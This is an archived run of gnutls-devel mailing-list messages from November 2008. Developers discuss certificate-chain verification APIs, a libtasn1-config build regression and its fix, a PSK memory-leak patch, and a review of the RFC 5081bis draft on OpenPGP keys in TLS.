On Wed 2008-11-12 16:41:32 -0500, Nikos Mavrogiannopoulos wrote:

> the library doesn't export any high level verification function to
> verify certificate chains.

What about gnutls_x509_crt_list_verify() and
gnutls_certificate_verify_peers2() ?  The latter is used in src/srv.c
and srv/cli.c, and i think it calls the former under the hood (using
data from the TLS session to fill in the specific parameters).

Those seem like high-level functions to verify certificate chains to
me.  Did you mean something else?

> I expected applications to use their own and that's what certtool it
> does.

_verify_x509_mem() in certtool.c looks like it implements a very
similar goal to the goal addressed by gnutls_x509_crt_list_verify().
If there is an alternate validation method that might be superior to
gnutls_x509_crt_list_verify(), why not fold it into that function?

If the alternate method raises DoS or resource consumption concerns,
the library could offer it as an alternative function, so that
GnuTLS-based tools in non-DoS-sensitive environments could take
advantage of it.

I think it would be really useful to have certtool reflect the
internal workings of GnuTLS as closely as possible, not least for the
sake of providing tools to help admins who are trying to debug/test
GnuTLS-based applications.

Regards,

         --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081112/bf583f5d/attachment.pgp>

From n.mavrogiannopoulos at gmail.com  Thu Nov 13 16:31:41 2008
From: n.mavrogiannopoulos at gmail.com (Nikos Mavrogiannopoulos)
Date: Thu, 13 Nov 2008 17:31:41 +0200
Subject: trusted intermediate CAs
In-Reply-To: <87fxlwy178.fsf@squeak.fifthhorseman.net>
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87k5bauewu.fsf_-_@squeak.fifthhorseman.net>
	<87d4h1tki2.fsf@mocca.josefsson.org>
	<87abc420xu.fsf@squeak.fifthhorseman.net>
	<491B4D8C.6070505@gnutls.org>
	<87fxlwy178.fsf@squeak.fifthhorseman.net>
Message-ID: <c331d99a0811130731u27a17c9dr49034143c3096614@mail.gmail.com>

On Thu, Nov 13, 2008 at 1:27 AM, Daniel Kahn Gillmor
<dkg at fifthhorseman.net> wrote:
>> the library doesn't export any high level verification function to
>> verify certificate chains.
>
> What about gnutls_x509_crt_list_verify() and
> gnutls_certificate_verify_peers2() ?  The latter is used in src/srv.c
> and srv/cli.c, and i think it calls the former under the hood (using
> data from the TLS session to fill in the specific parameters).
>
> Those seem like high-level functions to verify certificate chains to
> me.  Did you mean something else?

No. But they are not high level functions. There are no hooks to print
any useful
information like certtool is printing for each verification.

> I think it would be really useful to have certtool reflect the
> internal workings of GnuTLS as closely as possible, not least for the
> sake of providing tools to help admins who are trying to debug/test
> GnuTLS-based applications.

I agree. We can add it as a todo item.

regards,
Nikos




From nmav at gnutls.org  Thu Nov 13 19:29:30 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Thu, 13 Nov 2008 20:29:30 +0200
Subject: More intelligent path finding
In-Reply-To: <4919BC2F.2010300@gmx.net>
References: <4919BC2F.2010300@gmx.net>
Message-ID: <491C720A.6090202@gnutls.org>

Martin von Gagern wrote:
> Hi again.
> 
> While looking at _gnutls_x509_verify_certificate I realized that I
> personally would have implemented this whole verification process a bit
> differently. I'm not a regular reader of the gnutls-devel list, but I
> have the feeling that some recent posts might go in the same direction.
> 
> I'd have the function called with a single certificate to verify, a list
> of untrusted certificates to be used for the chain, and a list of
> trusted certificates to be used as the root. The verification process
> would look for the issuer of the current certificate first in the list
> of trusted certificates. If it finds one, verify and return result. If
> not, look for the issuer in the list of untrusted certificates. If it
> finds one, verify that next (recursively), if not we don't have enough
> material for a chain.
> 
> This process would have two benefits. The order in which the
> intermediate certificates are submitted wouldn't matter any more. And
> you could also add some intermediate certificate to the list of trusted
> certificates, in order to trust a subtree of the hierarchy, and the
> server could still continue to submit its whole chain. E.g. a server A
> could submit the chain [A, B, C, D, E], with E as a self-signed root.
> When you only want to trust certificates from C, you would add that to
> your list of trusted CAs, never mind that it's not self signed, and
> GnuTLS would accept A after verifying two signatures, A-B and B-C.
> 
[...]

> 
> So much for my suggestion. I would assume that this should be fairly
> easy to implement. I don't know whether I will find the time for this in
> the forseeable future, though, especially as I still haven't read large
> parts of the GnuTLS codebase. So I offer this for discussion, and leave
> it for you to comment, maybe even implement, or wait until I find the
> time and motivation.

Hello Martin,
 Indeed we are discussing possibility of updating the included
verification procedure. My opinion would be to leave the current
implementation of gnutls_certificate_verify_peers2() as it is now, and
enhance the X.509 library with more flexibility in verification.

My thoughs in API would be:

add in
enum certificate_verify_flags { GNUTLS_VERIFY_LIST_UNORDERED,
GNUTLS_VERIFY_RFC5280 }

/*
When GNUTLS_VERIFY_LIST_UNORDERED is specified then the chain is
constructed on the fly by using the algorithm you propose.

The flag GNUTLS_VERIFY_RFC5280 should use the verification discussed in
rfc5280. However this algorithm is complex and there are many things
that can go wrong when implementing it.
*/

/*
One could enhance the verification function as:
*/


struct {
	gnutls_x509_crt_t crt;
	unsigned int verification_status;
	verify_chain * issuer;
} verify_chain;

/*
This structure will be used to notify the caller about the constructed
chain and about the verification status of this certificate verified by
the issuer.
*/

int
gnutls_x509_crt_list_verify2 (const gnutls_x509_crt_t * cert_list,
                             int cert_list_length,

                             const gnutls_x509_crt_t * CA_list,
                             int CA_list_length,

                             const gnutls_x509_crl_t * CRL_list,
                             int CRL_list_length,

			     unsigned int flags,
	
			     time_t now, /* current time */
			     verify_chain *chain,
			     unsigned int max_chain_size, /* require the caller to allocate
chain */
                             unsigned int *verify)
)

Said, that. I'm unable to work on something like that in the near future.


regards,
Nikos




From dragonheart at gentoo.org  Thu Nov 13 19:38:51 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Fri, 14 Nov 2008 05:38:51 +1100
Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it
Message-ID: <200811140538.56751.dragonheart@gentoo.org>


from the gnutls-2.6.2
checking for libtasn1-config... no
checking for libtasn1 - version >= 0.3.4... no
*** The libtasn1-config script installed by LIBTASN1 could not be found

can I request  libtasn1-config be reinstated until phased out by other things 
that use it?


also - not sure if you still use 
https://savannah.gnu.org/support/?group=gnutls

simple patchs are there
https://savannah.gnu.org/support/?106549
https://savannah.gnu.org/support/?106542

also still failing for me here:
https://savannah.gnu.org/support/?106543

Cheers,


-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081114/a2cd7ab0/attachment.pgp>

From dragonheart at gentoo.org  Thu Nov 13 19:38:51 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Fri, 14 Nov 2008 05:38:51 +1100
Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it
Message-ID: <200811140538.56751.dragonheart@gentoo.org>


from the gnutls-2.6.2
checking for libtasn1-config... no
checking for libtasn1 - version >= 0.3.4... no
*** The libtasn1-config script installed by LIBTASN1 could not be found

can I request  libtasn1-config be reinstated until phased out by other things 
that use it?


also - not sure if you still use 
https://savannah.gnu.org/support/?group=gnutls

simple patchs are there
https://savannah.gnu.org/support/?106549
https://savannah.gnu.org/support/?106542

also still failing for me here:
https://savannah.gnu.org/support/?106543

Cheers,


-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081114/a2cd7ab0/attachment-0001.pgp>

From simon at josefsson.org  Fri Nov 14 10:56:17 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Fri, 14 Nov 2008 10:56:17 +0100
Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it
In-Reply-To: <200811140538.56751.dragonheart@gentoo.org> (Daniel Black's
	message of "Fri, 14 Nov 2008 05:38:51 +1100")
References: <200811140538.56751.dragonheart@gentoo.org>
Message-ID: <877i764on2.fsf@mocca.josefsson.org>

Daniel Black <dragonheart at gentoo.org> writes:

> from the gnutls-2.6.2
> checking for libtasn1-config... no
> checking for libtasn1 - version >= 0.3.4... no
> *** The libtasn1-config script installed by LIBTASN1 could not be found

Ouch.

> can I request  libtasn1-config be reinstated until phased out by other things 
> that use it?

Sure, we'll add it until gnutls 2.7.x has been released stable, it
doesn't use libtasn1-config anymore.  Do you know of any other software
that uses libtasn1-config?

Given that the libtasn1 master branch introduces an ABI break, I think
we'll need a libtasn1 1.7 that only re-adds the libtasn1-config stuff.
I'll see if I can prepare one today.

> also - not sure if you still use 
> https://savannah.gnu.org/support/?group=gnutls
>
> simple patchs are there
> https://savannah.gnu.org/support/?106549
> https://savannah.gnu.org/support/?106542
>
> also still failing for me here:
> https://savannah.gnu.org/support/?106543

Thanks for pointer, I'll look over these.

/Simon




From dragonheart at gentoo.org  Fri Nov 14 12:13:37 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Fri, 14 Nov 2008 22:13:37 +1100
Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it
In-Reply-To: <877i764on2.fsf@mocca.josefsson.org>
References: <200811140538.56751.dragonheart@gentoo.org>
	<877i764on2.fsf@mocca.josefsson.org>
Message-ID: <200811142213.41618.dragonheart@gentoo.org>

On Fri, 14 Nov 2008 08:56:17 pm Simon Josefsson wrote:
> Daniel Black <dragonheart at gentoo.org> writes:
> > from the gnutls-2.6.2
> > checking for libtasn1-config... no
> > checking for libtasn1 - version >= 0.3.4... no
> > *** The libtasn1-config script installed by LIBTASN1 could not be found
>
> Ouch.
>
> > can I request  libtasn1-config be reinstated until phased out by other
> > things that use it?
>
> Sure, we'll add it until gnutls 2.7.x has been released stable, it
> doesn't use libtasn1-config anymore.  Do you know of any other software
> that uses libtasn1-config?

of all the gentoo packages that depend on libtasn1 only gnome-keyring-2.22.
{2,3} did use libtasn1-config

There's no bug reports about including using pkgconfig for later versions on 
gnome-keyring,

> Given that the libtasn1 master branch introduces an ABI break,

is it an API break as well? I think I saw from the discussion it was.

> I think 
> we'll need a libtasn1 1.7 that only re-adds the libtasn1-config stuff.
> I'll see if I can prepare one today.

thankyou.

> > also - not sure if you still use
> > https://savannah.gnu.org/support/?group=gnutls
> >
> > simple patchs are there
> > https://savannah.gnu.org/support/?106549
> > https://savannah.gnu.org/support/?106542
> >
> > also still failing for me here:
> > https://savannah.gnu.org/support/?106543
>
> Thanks for pointer, I'll look over these.
>
> /Simon



-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081114/16ba76af/attachment.pgp>

From simon at josefsson.org  Fri Nov 14 12:30:27 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Fri, 14 Nov 2008 12:30:27 +0100
Subject: libtasn1-1.6 removed libtasn1-config though gnutls still uses it
In-Reply-To: <200811142213.41618.dragonheart@gentoo.org> (Daniel Black's
	message of "Fri, 14 Nov 2008 22:13:37 +1100")
References: <200811140538.56751.dragonheart@gentoo.org>
	<877i764on2.fsf@mocca.josefsson.org>
	<200811142213.41618.dragonheart@gentoo.org>
Message-ID: <87k5b635po.fsf@mocca.josefsson.org>

Daniel Black <dragonheart at gentoo.org> writes:

>> Sure, we'll add it until gnutls 2.7.x has been released stable, it
>> doesn't use libtasn1-config anymore.  Do you know of any other software
>> that uses libtasn1-config?
>
> of all the gentoo packages that depend on libtasn1 only gnome-keyring-2.22.
> {2,3} did use libtasn1-config
>
> There's no bug reports about including using pkgconfig for later versions on 
> gnome-keyring,

Can you file one?  Libtasn1-config will go away with libtasn1 v2.0.

>> Given that the libtasn1 master branch introduces an ABI break,
>
> is it an API break as well? I think I saw from the discussion it was.

Yes, v2.0 will remove one struct from libtasn1.h that were never
intended to be exported, so strictly speaking it is an API break --
however we don't think any projects have been using that struct.

/Simon




From simon at josefsson.org  Fri Nov 14 12:54:45 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Fri, 14 Nov 2008 12:54:45 +0100
Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed
	libtasn1-config though gnutls still uses it)
In-Reply-To: <87k5b635po.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Fri, 14 Nov 2008 12:30:27 +0100")
References: <200811140538.56751.dragonheart@gentoo.org>
	<877i764on2.fsf@mocca.josefsson.org>
	<200811142213.41618.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
Message-ID: <87fxlu34l6.fsf_-_@mocca.josefsson.org>

Please test this snapshot:

http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz

If you can confirm that it solves the libtasn1-config problem, I'll
release it.

Others, please test and tell me if there is anything wrong with it.

Btw, there is now a 'libtasn1-1.x' branch:

http://git.savannah.gnu.org/gitweb/?p=libtasn1.git
http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/libtasn1_1_x

/Simon




From arfrever.fta at gmail.com  Fri Nov 14 21:49:27 2008
From: arfrever.fta at gmail.com (Arfrever Frehtes Taifersar Arahesis)
Date: Fri, 14 Nov 2008 21:49:27 +0100
Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed
	libtasn1-config though gnutls still uses it)
In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org>
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
Message-ID: <200811142149.32020.Arfrever.FTA@gmail.com>

2008-11-14 12:54:45 Simon Josefsson napisa?(a):
> Please test this snapshot:
> 
> http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz
> 
> If you can confirm that it solves the libtasn1-config problem, I'll
> release it.

I'm confirming that it solves this problem.

-- 
Arfrever Frehtes Taifersar Arahesis
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081114/eb90c8be/attachment.pgp>

From dragonheart at gentoo.org  Fri Nov 14 22:09:09 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Sat, 15 Nov 2008 08:09:09 +1100
Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed
	libtasn1-config though gnutls still uses it)
In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org>
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
Message-ID: <200811150809.13772.dragonheart@gentoo.org>

On Fri, 14 Nov 2008 10:54:45 pm Simon Josefsson wrote:
> Please test this snapshot:
>
> http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz
>
> If you can confirm that it solves the libtasn1-config problem, I'll
> release it.

works for me.

I'll add gnome-keyring patch to the gnome bugzilla to support both  
libtasn1-config and pkgconfig.

Thanks Simon,
>
> Others, please test and tell me if there is anything wrong with it.
>
> Btw, there is now a 'libtasn1-1.x' branch:
>
> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git
> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/
>libtasn1_1_x
>
> /Simon



-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081115/add85eaa/attachment.pgp>

From dragonheart at gentoo.org  Fri Nov 14 23:07:42 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Sat, 15 Nov 2008 09:07:42 +1100
Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed
	libtasn1-config though gnutls still uses it)
In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org>
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
Message-ID: <200811150907.46355.dragonheart@gentoo.org>

On Fri, 14 Nov 2008 10:54:45 pm Simon Josefsson wrote:
> Please test this snapshot:
>
> http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz
>
> If you can confirm that it solves the libtasn1-config problem, I'll
> release it.
>
> Others, please test and tell me if there is anything wrong with it.
>
> Btw, there is now a 'libtasn1-1.x' branch:
>
> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git
> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/
>libtasn1_1_x
>
> /Simon

is it worth re-adding lib/libtasn1.m4? gnome-keyring-2.22.3 uses it.


-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081115/0da98f48/attachment.pgp>

From dragonheart at gentoo.org  Sat Nov 15 00:32:13 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Sat, 15 Nov 2008 10:32:13 +1100
Subject: gnome-keyring patch (was: Re: libtasn1-1.6 removed libtasn1-config
	though gnutls still uses it)
In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org>
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
Message-ID: <200811151032.17628.dragonheart@gentoo.org>


gnome-keyring patch reported taking the libtasn1.m4 content and supporting 
libtasn1-config and pkg-config.

http://bugzilla.gnome.org/show_bug.cgi?id=560869

probably should of put the pkg-config bit first. oh well, only a transition 
strategy.

-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081115/01a0a096/attachment.pgp>

From nmav at gnutls.org  Sat Nov 15 16:49:06 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sat, 15 Nov 2008 17:49:06 +0200
Subject: [Help-gnutls] possible memory leak in _gnutls_free_auth_info()
In-Reply-To: <20081113203020.GA877@weiser.dinsnail.net>
References: <20081113203020.GA877@weiser.dinsnail.net>
Message-ID: <491EEF72.9030004@gnutls.org>

Michael Weiser wrote:
> Hello,
> 
> I think I found a memory leak with PSK authentication. After one
> successful gnutls_handshake on a fresh session, the leaks tool on my Mac
> reports the memory leaks shown below (edited for readability).
> I tracked this to a missing case for GNUTLS_CRD_PSK in
> _gnutls_free_auth_info() and fixed it using the attached patch. It's
> against 2.6.0 but applies cleanly to 2.6.2.

Thank you for the trace and the patch. Applied!

regards,
Nikos




From nmav at gnutls.org  Sat Nov 15 17:54:30 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sat, 15 Nov 2008 18:54:30 +0200
Subject: rfc5081 update
In-Reply-To: <873ahw1v66.fsf@squeak.fifthhorseman.net>
References: <490F4F26.1030104@gnutls.org>
	<873ahw1v66.fsf@squeak.fifthhorseman.net>
Message-ID: <491EFEC6.7050200@gnutls.org>

Daniel Kahn Gillmor wrote:
> On Mon 2008-11-03 14:21:10 -0500, Nikos Mavrogiannopoulos wrote:
> 

Hello,
 Thank you for the comments. My comments inline:

> Sorry it's taken me a while to really read this.  I have a few
> concerns.  If this is not the proper forum for airing these things,
> just point me in the right direction.
> 
>  * The draft does not specify what version of OpenPGP certificates
>    should be used for this.  Given that RFC 4880 explicitly deprecated
>    V3 certificates, i think this draft should at least do the same.
>    It would be simpler for implementation if this draft specified that
>    compliant implementations MUST support V4 certificates, and MUST
>    NOT use V3 certificates.

I was thinking to make this explicit but since I'm referencing 4880 for
OpenPGP certificates I think it might be enough. In general I didn't
want to specify exactly what is allowed and not and leave this to 4880
since this is the authority for openpgp keys.

>  * Section 3.1 is phrased as a comparison between client and server:
> 
>       struct {
>          select(ClientOrServerExtension) {
>             case client:
>                CertificateType certificate_types<1..2^8-1>;
>             case server:
>                CertificateType certificate_type;
>          }
>       } CertificateTypeExtension;
> 
>     However, i think this is misleading; when the same struct is used
>     during the Client Certificate Request, the server offers some
>     number of CertificateType possibilities, and the client responds
>     with the CertificateType of its choosing.  If i'm reading this
>     right, the naming is actually backwards when the struct is used in
>     section 3.5.  Maybe it would be better to refer to these struct
>     elements as request/response instead of client/server?

Probably it would be more clear... but now it is consistent with the TLS
protocol wording (at least rfc2246 which I am familiar with). A change
in wording would confuse TLS implementors and these are the target group
of this paper.

>  * It looks like the values for OpenPGPCertDescriptorType are
>    overlapped: in particular, 1 is bound to "cert" in 5081, but bound
>    to "empty_cert" in 5081bis.  This seems like it could cause
>    problems if one party implements 5081 and the other implements
>    5081bis.

The overlap is intentional. The empty_cert in 5081bis is the same as a
empty cert would be expressed in 5081. Backwards compatibility is not
really an issue since only gnutls implements this protocol and the
current implementation does not do 5081 (it conforms to 5081bis).

>  * There is no IANA registry requested for OpenPGPCertDescriptorType,
>    and none is allocated in 5081 either.  Is that OK?  Could this enum
>    ever change?  Who will manage addition of new values there are
>    changes needed?

The only way for this to change now is through an rfc that updates this
one. Since this is individual submission I cannot allocate IANA registry
for that. (rfc5081 was sponsored by TLS WG).

>  * I'm concerned that the useful values for OpenPGPCertDescriptorType
>    (subkey_cert and subkey_cert_fingerprint) all refer to subkeys.
>    It's certainly possible to set the Authentication (0x20) Usage flag
>    [0] on the primary key, or to have a primary key with no subkeys.
>    While i think the obvious answer is that the keyid can refer to
>    *either* the primary key or the subkey (but to a specific key, not
>    to the entire aggregated certificate), it seems a little odd to
>    explicitly call it the subkey id.

Indeed. However I prefer this naming because it makes explicit the fact
that subkeys can be used. (the term key id wouldn't). Should I make
explicit the fact that the main keyid could be used there?

>  * Why are OpenPGPKeyID elements written foo<1..8>.  Shouldn't we be
>    requiring the full 8 bytes of keyid?  The syntax seems to imply to
>    me that i could offer a 1-byte KeyID and still be compliant.

Compliant with rfc5081bis but not with rfc4880 thus rejected by the
peer. However this notation has the advantage that it includes a header
with the length of foo. Thus if rfc4880 is updated an includes keyids
that are more than 8 bytes long the same structure will be able to hold
them.

>  * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and
>    OpenPGPCertFingerprint?  For V4 keys, the KeyID is just the
>    low-order 64 bits of the fingerprint [1].  If we only allow
>    V4-or-later keys in this spec, we could remove that struct element.

The OpenPGPCertFingerprint should contain the fingerprint of the main
key of the certificate and OpenPGPKeyID the keyid of the subkey to be
used for authentication. Do you think that I should include this
explanation in the document?

best regards,
Nikos




From dkg at fifthhorseman.net  Sun Nov 16 05:52:35 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Sat, 15 Nov 2008 23:52:35 -0500
Subject: rfc5081 update
In-Reply-To: <491EFEC6.7050200@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Sat\, 15 Nov 2008 18\:54\:30 +0200")
References: <490F4F26.1030104@gnutls.org>
	<873ahw1v66.fsf@squeak.fifthhorseman.net>
	<491EFEC6.7050200@gnutls.org>
Message-ID: <87iqqomfvw.fsf@squeak.fifthhorseman.net>

On Sat 2008-11-15 11:54:30 -0500, Nikos Mavrogiannopoulos wrote:

> Daniel Kahn Gillmor wrote:
>
>>  * The draft does not specify what version of OpenPGP certificates
>>    should be used for this.  Given that RFC 4880 explicitly deprecated
>>    V3 certificates, i think this draft should at least do the same.
>>    It would be simpler for implementation if this draft specified that
>>    compliant implementations MUST support V4 certificates, and MUST
>>    NOT use V3 certificates.
>
> I was thinking to make this explicit but since I'm referencing 4880 for
> OpenPGP certificates I think it might be enough. In general I didn't
> want to specify exactly what is allowed and not and leave this to 4880
> since this is the authority for openpgp keys.

OK, this makes sense.

>>  * Section 3.1 is phrased as a comparison between client and server:
>> 
>>       struct {
>>          select(ClientOrServerExtension) {
>>             case client:
>>                CertificateType certificate_types<1..2^8-1>;
>>             case server:
>>                CertificateType certificate_type;
>>          }
>>       } CertificateTypeExtension;
>> 
>>     However, i think this is misleading; when the same struct is used
>>     during the Client Certificate Request, the server offers some
>>     number of CertificateType possibilities, and the client responds
>>     with the CertificateType of its choosing.  If i'm reading this
>>     right, the naming is actually backwards when the struct is used in
>>     section 3.5.  Maybe it would be better to refer to these struct
>>     elements as request/response instead of client/server?
>
> Probably it would be more clear... but now it is consistent with the TLS
> protocol wording (at least rfc2246 which I am familiar with). A change
> in wording would confuse TLS implementors and these are the target group
> of this paper.

I suspect that i'm actually part of the target group of this paper,
and i was confused by it, fwiw.  The top of page 37 of RFC 5246 [0]
actually takes pains to explain the difference between client and
server use of the handshake messages:

   Note one exception to the ordering: the Certificate message is used
   twice in the handshake (from server to client, then from client to
   server), but described only in its first position.

Perhaps a similar clarification would be useful in 5081bis?

>>  * There is no IANA registry requested for OpenPGPCertDescriptorType,
>>    and none is allocated in 5081 either.  Is that OK?  Could this enum
>>    ever change?  Who will manage addition of new values there are
>>    changes needed?
>
> The only way for this to change now is through an rfc that updates this
> one. Since this is individual submission I cannot allocate IANA registry
> for that. (rfc5081 was sponsored by TLS WG).

OK, that's a shame.  Isn't 5081bis an RFC that updates 5081?  Or are
you saying that this would need to be handled in an additional
subsequent RFC?  Would a second author on the RFC raise it out of
"individual submission" status enough to consider allocation of a new
registry?  Sorry i don't know more about the RFC process.  Pointers to
relevant documentation would be happily accepted.

>>  * I'm concerned that the useful values for OpenPGPCertDescriptorType
>>    (subkey_cert and subkey_cert_fingerprint) all refer to subkeys.
>>    It's certainly possible to set the Authentication (0x20) Usage flag
>>    [0] on the primary key, or to have a primary key with no subkeys.
>>    While i think the obvious answer is that the keyid can refer to
>>    *either* the primary key or the subkey (but to a specific key, not
>>    to the entire aggregated certificate), it seems a little odd to
>>    explicitly call it the subkey id.
>
> Indeed. However I prefer this naming because it makes explicit the fact
> that subkeys can be used. (the term key id wouldn't). Should I make
> explicit the fact that the main keyid could be used there?

Yes, making it explicit in the RFC would be good.

>>  * Why are OpenPGPKeyID elements written foo<1..8>.  Shouldn't we be
>>    requiring the full 8 bytes of keyid?  The syntax seems to imply to
>>    me that i could offer a 1-byte KeyID and still be compliant.
>
> Compliant with rfc5081bis but not with rfc4880 thus rejected by the
> peer. However this notation has the advantage that it includes a header
> with the length of foo. Thus if rfc4880 is updated an includes keyids
> that are more than 8 bytes long the same structure will be able to hold
> them.

In that case, shouldn't it actually be foo<8..> or something like
that?  We know that the keyids will no less then 8, but we would like
to leave it open to be larger, right?  There's no sense in capping the
size at 8 max, or allowing values lower than 8 that i can see.  Or am
i misunderstanding the syntax?

>>  * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and
>>    OpenPGPCertFingerprint?  For V4 keys, the KeyID is just the
>>    low-order 64 bits of the fingerprint [1].  If we only allow
>>    V4-or-later keys in this spec, we could remove that struct element.
>
> The OpenPGPCertFingerprint should contain the fingerprint of the
> main key of the certificate and OpenPGPKeyID the keyid of the subkey
> to be used for authentication. Do you think that I should include
> this explanation in the document?

If this is the desired behavior, then yes, it should be made
significantly more explicit.  As one point of reference, GPG makes
very little distinction between keyids of a subkey and keyids of a
primary key.  While the output will always show the primary keyid in
most places, you can specify the keyid of the subkey with no
detriment.

I'm not sure that this should be the desired behavior, though.  Why
bother including the fingerprint of the main key?  Why not just
include the fingerprint of the relevant sub/primary key?  Why would
you only include the keyid of the key to actually be used, instead of
the fingerprint?  It seems to me like just supplying the fingerprint
of the specifically-relevant (primary or sub) key would be sufficient.

One other question:

Should there be any recommendation that the (primary or sub) key
should have any particular Usage flags set?  I think it would be
appropriate to suggest that keys with the Authentication Usage Flag
(0x20) SHOULD be used, since authentication is the specific use of the
keys in this context (AIUI, the Encrypted Communications Usage Flag
(0x04) is not relevant because the communications are in fact
encrypted by the negotiated cipher suite, *not* by the private keys of
either party).

Thanks very much for your work on this specification, Nikos!

Sincerely,

        --dkg

[0] http://tools.ietf.org/html/rfc5246#page-37
[1] http://tools.ietf.org/html/rfc4880#section-5.2.3.21
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081115/484e0c24/attachment.pgp>

From nmav at gnutls.org  Sun Nov 16 11:44:42 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sun, 16 Nov 2008 12:44:42 +0200
Subject: rfc5081 update
In-Reply-To: <87iqqomfvw.fsf@squeak.fifthhorseman.net>
References: <490F4F26.1030104@gnutls.org>	<873ahw1v66.fsf@squeak.fifthhorseman.net>	<491EFEC6.7050200@gnutls.org>
	<87iqqomfvw.fsf@squeak.fifthhorseman.net>
Message-ID: <491FF99A.2090004@gnutls.org>

Daniel Kahn Gillmor wrote:

>>>  * Section 3.1 is phrased as a comparison between client and server:
>>>
>>>       struct {
>>>          select(ClientOrServerExtension) {
>>>             case client:
>>>                CertificateType certificate_types<1..2^8-1>;
>>>             case server:
>>>                CertificateType certificate_type;
>>>          }
>>>       } CertificateTypeExtension;
>>>
>>>     However, i think this is misleading; when the same struct is used
>>>     during the Client Certificate Request, the server offers some
>>>     number of CertificateType possibilities, and the client responds
>>>     with the CertificateType of its choosing.  If i'm reading this
>>>     right, the naming is actually backwards when the struct is used in
>>>     section 3.5.  Maybe it would be better to refer to these struct
>>>     elements as request/response instead of client/server?
>> Probably it would be more clear... but now it is consistent with the TLS
>> protocol wording (at least rfc2246 which I am familiar with). A change
>> in wording would confuse TLS implementors and these are the target group
>> of this paper.
> 
> I suspect that i'm actually part of the target group of this paper,
